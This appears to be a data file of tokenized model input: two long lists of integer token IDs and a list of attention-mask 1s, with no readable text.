20716, 59, 16, 467, 298, 34, 21703, 70, 287, 820, 6182, 269, 531, 339, 347, 511, 63, 14117, 63, 24171, 63, 8122, 1885, 8, 277, 304, 267, 9219, 275, 1379, 4433, 83, 1252, 1875, 63, 5097, 342, 398, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 413, 12, 644, 27474, 1062, 598, 1753, 609, 3621, 15563, 357, 1237, 1012, 267, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 378, 12, 699, 21703, 70, 287, 50, 6182, 269, 1062, 820, 4380, 35, 293, 331, 317, 1339, 1012, 398, 291, 14, 1875, 63, 452, 63, 2682, 8, 5097, 9, 267, 9219, 14, 2802, 63, 4780, 63, 353, 342, 398, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 17, 566, 267, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 16, 467, 298, 34, 21703, 70, 287, 820, 6182, 269, 401, 298, 50, 4380, 445, 293, 331, 317, 1339, 531, 339, 347, 511, 63, 1239, 3424, 63, 1113, 63, 30697, 8, 277, 304, 267, 562, 275, 359, 34, 21703, 70, 287, 50, 6182, 269, 1062, 820, 4380, 35, 293, 331, 317, 1339, 5106, 267, 312, 802, 275, 359, 55, 27474, 1062, 644, 285, 7250, 3701, 5106, 398, 1468, 3424, 275, 291, 14, 1875, 63, 1239, 3424, 8, 278, 12, 312, 802, 9, 398, 291, 14, 629, 8, 552, 8, 1239, 3424, 14, 1239, 3424, 4000, 1227, 9, 421, 199, 533, 1379, 17529, 7788, 1271, 13058, 2437, 3424, 2925, 8, 1746, 4256, 12, 2882, 14, 1746, 304, 272, 347, 511, 63, 1239, 3424, 63, 7853, 8, 277, 304, 267, 9219, 275, 291, 14, 1875, 63, 5097, 342, 267, 562, 275, 291, 14, 1875, 63, 13761, 8, 5097, 14, 1818, 63, 6147, 12, 603, 643, 391, 50, 1456, 1012, 267, 312, 802, 275, 291, 14, 1875, 63, 13761, 8, 5097, 14, 1848, 63, 6147, 12, 644, 27474, 1062, 2799, 778, 11530, 57, 69, 280, 1012, 398, 1468, 3424, 275, 291, 14, 1875, 63, 1239, 3424, 8, 278, 12, 312, 802, 9, 398, 291, 14, 629, 8, 552, 8, 1239, 3424, 14, 1239, 3424, 4000, 650, 9, 267, 291, 14, 629, 8, 1239, 3424, 14, 1239, 3424, 3430, 16, 1055, 26740, 63, 827, 1636, 14, 354, 12, 298, 1049, 778, 11530, 1488, 69, 280, 531, 339, 347, 511, 63, 1239, 3424, 63, 7853, 18, 8, 277, 304, 267, 9219, 275, 291, 14, 1875, 63, 5097, 342, 267, 562, 275, 291, 14, 1875, 63, 13761, 8, 5097, 14, 1818, 63, 6147, 12, 25629, 87, 14976, 1012, 267, 312, 802, 275, 291, 14, 1875, 63, 13761, 8, 5097, 14, 1848, 63, 6147, 12, 644, 27474, 1062, 2799, 778, 11530, 57, 69, 280, 1012, 398, 1468, 3424, 275 ]
[ 2882, 199, 504, 946, 19677, 4785, 281, 14, 13761, 492, 644, 27474, 12, 644, 285, 7250, 3701, 12, 699, 21703, 70, 287, 50, 6182, 269, 12, 598, 1753, 609, 3621, 15563, 357, 1237, 12, 820, 4380, 35, 293, 331, 317, 1339, 12, 603, 643, 391, 50, 1456, 12, 971, 272, 2799, 778, 11530, 57, 69, 280, 12, 25629, 87, 14976, 12, 437, 1237, 17587, 281, 332, 2570, 12, 437, 464, 3398, 1505, 303, 867, 12, 577, 1096, 41, 2641, 36, 3281, 70, 12, 5244, 292, 3014, 22546, 35, 274, 1567, 12, 8362, 12288, 12, 971, 272, 13096, 1856, 1596, 7641, 12, 5244, 553, 1235, 21462, 12, 1933, 269, 311, 7455, 3110, 79, 199, 504, 946, 19677, 4785, 281, 14, 13761, 14, 1095, 492, 10195, 1636, 13832, 199, 504, 946, 19677, 4785, 281, 14, 5097, 63, 1462, 492, 869, 3478, 199, 504, 2295, 14, 14250, 14, 21697, 14, 396, 63, 7546, 492, 1379, 4433, 83, 12, 12540, 13832, 199, 504, 2295, 14, 14250, 14, 21697, 14, 396, 63, 2546, 63, 20406, 492, 7640, 4256, 421, 199, 533, 1379, 17529, 7788, 1271, 13058, 6845, 2925, 8, 1746, 4256, 12, 2882, 14, 1746, 304, 272, 347, 511, 63, 14117, 63, 24171, 63, 1409, 8, 277, 304, 267, 9219, 275, 1379, 4433, 83, 1252, 1875, 63, 5097, 342, 398, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 378, 12, 699, 21703, 70, 287, 50, 6182, 269, 1012, 398, 291, 14, 1875, 63, 452, 63, 2682, 8, 5097, 9, 267, 9219, 14, 2802, 63, 4780, 63, 353, 342, 398, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 17, 566, 267, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 16, 467, 298, 34, 21703, 70, 287, 820, 6182, 269, 531, 398, 291, 14, 629, 8, 1465, 12, 9219, 14, 20716, 59, 17, 1055, 31863, 14, 9665, 9, 339, 347, 511, 63, 14117, 63, 24171, 63, 827, 1636, 63, 460, 63, 1409, 8, 277, 304, 267, 9219, 275, 1379, 4433, 83, 1252, 1875, 63, 5097, 342, 398, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 413, 12, 644, 27474, 1012, 267, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 378, 12, 699, 21703, 70, 287, 50, 6182, 269, 1062, 820, 4380, 35, 293, 331, 317, 1339, 1012, 398, 291, 14, 1875, 63, 452, 63, 2682, 8, 5097, 9, 267, 9219, 14, 2802, 63, 4780, 63, 353, 342, 398, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 17, 566, 267, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 16, 467, 298, 34, 21703, 70, 287, 820, 6182, 269, 401, 298, 50, 4380, 445, 293, 331, 317, 1339, 531, 398, 291, 14, 629, 8, 1465, 12, 9219, 14, 20716, 59, 17, 1055, 31863, 14, 9665, 9, 339, 347, 511, 63, 14117, 63, 27872, 63, 502, 638, 8, 277, 304, 267, 9219, 275, 1379, 4433, 83, 1252, 1875, 63, 5097, 342, 398, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 413, 12, 644, 27474, 1062, 598, 1753, 609, 3621, 15563, 357, 1237, 1012, 267, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 378, 12, 699, 21703, 70, 287, 50, 6182, 269, 1012, 398, 291, 14, 1875, 63, 452, 63, 2682, 8, 5097, 9, 267, 9219, 14, 2802, 63, 4780, 63, 353, 342, 398, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 17, 467, 298, 55, 27474, 531, 267, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 16, 467, 298, 34, 21703, 70, 287, 820, 6182, 269, 531, 339, 347, 511, 63, 14117, 63, 24171, 63, 8122, 1885, 8, 277, 304, 267, 9219, 275, 1379, 4433, 83, 1252, 1875, 63, 5097, 342, 398, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 413, 12, 644, 27474, 1062, 598, 1753, 609, 3621, 15563, 357, 1237, 1012, 267, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 378, 12, 699, 21703, 70, 287, 50, 6182, 269, 1062, 820, 4380, 35, 293, 331, 317, 1339, 1012, 398, 291, 14, 1875, 63, 452, 63, 2682, 8, 5097, 9, 267, 9219, 14, 2802, 63, 4780, 63, 353, 342, 398, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 17, 566, 267, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 16, 467, 298, 34, 21703, 70, 287, 820, 6182, 269, 401, 298, 50, 4380, 445, 293, 331, 317, 1339, 531, 339, 347, 511, 63, 1239, 3424, 63, 1113, 63, 30697, 8, 277, 304, 267, 562, 275, 359, 34, 21703, 70, 287, 50, 6182, 269, 1062, 820, 4380, 35, 293, 331, 317, 1339, 5106, 267, 312, 802, 275, 359, 55, 27474, 1062, 644, 285, 7250, 3701, 5106, 398, 1468, 3424, 275, 291, 14, 1875, 63, 1239, 3424, 8, 278, 12, 312, 802, 9, 398, 291, 14, 629, 8, 552, 8, 1239, 3424, 14, 1239, 3424, 4000, 1227, 9, 421, 199, 533, 1379, 17529, 7788, 1271, 13058, 2437, 3424, 2925, 8, 1746, 4256, 12, 2882, 14, 1746, 304, 272, 347, 511, 63, 1239, 3424, 63, 7853, 8, 277, 304, 267, 9219, 275, 291, 14, 1875, 63, 5097, 342, 267, 562, 275, 291, 14, 1875, 63, 13761, 8, 5097, 14, 1818, 63, 6147, 12, 603, 643, 391, 50, 1456, 1012, 267, 312, 802, 275, 291, 14, 1875, 63, 13761, 8, 5097, 14, 1848, 63, 6147, 12, 644, 27474, 1062, 2799, 778, 11530, 57, 69, 280, 1012, 398, 1468, 3424, 275, 291, 14, 1875, 63, 1239, 3424, 8, 278, 12, 312, 802, 9, 398, 291, 14, 629, 8, 552, 8, 1239, 3424, 14, 1239, 3424, 4000, 650, 9, 267, 291, 14, 629, 8, 1239, 3424, 14, 1239, 3424, 3430, 16, 1055, 26740, 63, 827, 1636, 14, 354, 12, 298, 1049, 778, 11530, 1488, 69, 280, 531, 339, 347, 511, 63, 1239, 3424, 63, 7853, 18, 8, 277, 304, 267, 9219, 275, 291, 14, 1875, 63, 5097, 342, 267, 562, 275, 291, 14, 1875, 63, 13761, 8, 5097, 14, 1818, 63, 6147, 12, 25629, 87, 14976, 1012, 267, 312, 802, 275, 291, 14, 1875, 63, 13761, 8, 5097, 14, 1848, 63, 6147, 12, 644, 27474, 1062, 2799, 778, 11530, 57, 69, 280, 1012, 398, 1468, 3424, 275, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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